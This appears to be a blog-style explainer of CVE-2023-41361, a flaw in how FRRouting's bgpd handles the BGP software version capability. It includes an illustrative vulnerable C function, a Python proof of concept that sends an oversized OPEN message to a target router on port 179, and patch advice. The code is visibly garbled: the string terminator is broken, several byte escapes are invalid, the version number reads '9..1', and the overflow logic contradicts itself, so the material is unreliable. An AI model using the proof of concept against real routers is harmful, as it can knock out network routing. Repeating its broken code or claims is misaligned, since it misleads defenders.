In 2023, the security community discovered a critical flaw in FRRouting FRR, an open-source IP routing protocol suite used in data centers, ISPs, and enterprise networks. This vulnerability, now cataloged as CVE-2023-41361, stems from the way FRRouting’s BGP daemon (bgpd) handles the software version field in the BGP Open message. In plain terms, the code did not properly check the length of the received version string, opening the door for attackers to crash the service or potentially run malicious code. In this article, we’ll break down the issue, show you the relevant code, point to official advisories, and even walk through how an exploit might work — all in simple language.

What is FRRouting and Why is This Vulnerability Important?

FRRouting (FRR) is widely used in large-scale networking. If you run a data center or provide internet connectivity, chances are you use BGP (Border Gateway Protocol) to exchange routes — and bgpd, the BGP daemon in FRR, helps manage that. Vulnerabilities in core network protocols like BGP can have enormous impact: attackers could crash your routers, hijack routes, or gain unauthorized access.


## The Vulnerability: Unchecked Length in bgpd/bgp_open.c

According to the CVE report, the problem starts in the source file bgpd/bgp_open.c. This file is responsible for handling BGP OPEN messages when two routers connect.

BGP has an optional “Software Version” capability, which lets routers tell each other what version of code they’re running. When receiving this info, FRR didn’t properly check the size of the incoming string. If someone sent an abnormally large “version” value (bigger than the buffer expected), the software could crash or worse — giving a classic “buffer overflow” or “DoS” scenario.

What Does the Bad Code Look Like?

Here’s a simplified and relevant code snippet (originally discussed on GitHub's advisory):

// This is an example, not the full official code!
void bgp_open_receive(struct peer *peer, struct stream *packet)
{
    // ... omitted code ...
    
    uint8_t version_len;
    char version[256];

    // Read the length of the version field from input
    version_len = stream_getc(packet);

    // Vulnerability: No check on version_len against sizeof(version)!
    stream_read(packet, version, version_len);

    version[version_len] = '\';

    // ... further processing ...
}

What’s the problem?
There’s no check that version_len is <= 255 (the length of the version buffer). If an attacker sets version_len to 255 or more — and the incoming data is longer than that — the function will write past the end of the version array. This can crash FRR (denial of service) or, depending on memory layout, allow code execution.

1. Network Level

Anyone able to establish a TCP session to the router (usually on port 179) can send a fake “BGP Open” message with a huge software version field.

Software Version capability with an intentionally huge “length” field

# Example -- not a real attack script!
import socket
s = socket.socket()
s.connect(("target.router.ip.address", 179))
bgp_open_packet = b"..."  # Binary-encoded Open packet with huge software version

s.send(bgp_open_packet)
s.close()

This will cause FRR’s bgpd to process the message, read too much data into the version buffer, and crash (or maybe worse).

The BGP process (bgpd) crashes, dropping all BGP routes and network sessions.

- In some cases, code execution could be possible if the memory is manipulated just right, though this is more difficult.

Here’s a minimal conceptual PoC in Python, showing how an attacker might trigger the bug

import socket
import struct

BGP_PORT = 179
TARGET = "1.2.3.4"

# Basic BGP Open message structure (simplified)
def create_bgp_open(version_len):
    # Standard BGP Open fields (type, version, ASN, hold time, BGP Identifier)
    open_msg = b'\x04\x00\xfde' + b'\x00\x00' + b'\xc\xa8\x01\x01'
    # Capabilities length
    cap_len = b'\x06'
    # Software Version capability code (xe), length, and version string
    swver_code = b'\xe'
    swver_len = struct.pack('B', version_len)
    swver = b'A' * version_len  # Oversized "version" string
    capabilities = swver_code + swver_len + swver
    params = cap_len + capabilities
    msg_len = struct.pack('!H', 29 + len(params))
    marker = b'\xff' * 16
    msg_type = b'\x01'
    bgp_open = marker + msg_len + msg_type + open_msg + params
    return bgp_open

s = socket.socket()
s.connect((TARGET, BGP_PORT))
payload = create_bgp_open(255)  # Value over 255 triggers bug on old code
s.send(payload)
s.close()

Fix and Mitigation

The FRR team released patches in FRR 9..1 and later, which add checks like this:

if (version_len > sizeof(version) - 1) {
    // handle error
    return;
}

How to stay safe:

Upgrade to FRR 9..1 or later.

- Restrict BGP access to trusted peers/IPs.

References

- Official FRRouting Security Advisory
- NVD CVE-2023-41361
- FRR 9..1 Release Notes

Final Thoughts

CVE-2023-41361 is a strong reminder: even the most trusted networking software can have small coding mistakes with big consequences. By learning from issues like this — and keeping your systems patched and protected — you help keep the world’s networks safer.

*If you run FRR, update your devices and always monitor your BGP peering sessions for unexplained resets or crashes.*

Timeline

Published on: 08/29/2023 04:15:17 UTC
Last modified on: 10/26/2023 19:52:51 UTC